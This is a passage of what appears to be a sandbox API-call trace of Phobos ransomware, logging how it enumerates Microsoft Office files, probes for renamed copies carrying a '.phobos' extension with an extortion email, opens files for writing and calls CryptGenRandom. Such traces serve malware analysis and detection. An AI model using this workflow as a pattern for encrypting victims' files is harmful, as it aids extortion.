"c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4")) returned 0x220 [0155.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.413] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.413] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=483339) returned 1 [0155.414] CloseHandle (hObject=0x528) returned 1 [0155.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv")) returned 0x220 [0155.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.414] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.415] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=822036) returned 1 [0155.415] CloseHandle (hObject=0x528) returned 1 [0155.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv")) returned 0x220 [0155.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.415] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.416] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=104296) returned 1 [0155.416] CloseHandle (hObject=0x528) returned 1 [0155.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4")) returned 0x220 [0155.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.416] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.417] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=104960) returned 1 [0155.417] CloseHandle (hObject=0x528) returned 1 [0155.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4")) returned 0x220 [0155.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.418] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.467] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=37360) returned 1 [0155.467] CloseHandle (hObject=0x528) returned 1 [0155.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 0x220 [0155.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.468] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.469] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2042) returned 1 [0155.469] CloseHandle (hObject=0x528) returned 1 [0155.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml")) returned 0x220 [0155.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.469] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.471] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=77386) returned 1 [0155.471] CloseHandle (hObject=0x528) returned 1 [0155.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 0x220 [0155.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.471] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.472] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14132) returned 1 [0155.472] CloseHandle (hObject=0x528) returned 1 [0155.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml")) returned 0x220 [0155.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.472] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.473] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=731118) returned 1 [0155.473] CloseHandle (hObject=0x528) returned 1 [0155.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 0x220 [0155.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.474] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.476] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=174846) returned 1 [0155.476] CloseHandle (hObject=0x528) returned 1 [0155.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 0x220 [0155.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.476] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.478] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=986292) returned 1 [0155.478] CloseHandle (hObject=0x528) returned 1 [0155.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml")) returned 0x220 [0155.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.478] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.479] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=86894) returned 1 [0155.479] CloseHandle (hObject=0x528) returned 1 [0155.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 0x220 [0155.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.479] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.480] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=78078) returned 1 [0155.480] CloseHandle (hObject=0x528) returned 1 [0155.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml")) returned 0x220 [0155.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.481] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.481] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9831) returned 1 [0155.481] CloseHandle (hObject=0x528) returned 1 [0155.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml")) returned 0x220 [0155.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.482] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.483] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=269) returned 1 [0155.483] CloseHandle (hObject=0x528) returned 1 [0155.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm")) returned 0x220 [0155.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.484] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.484] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=111310) returned 1 [0155.484] CloseHandle (hObject=0x528) returned 1 [0155.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml")) returned 0x220 [0155.485] GetFileAttributesW 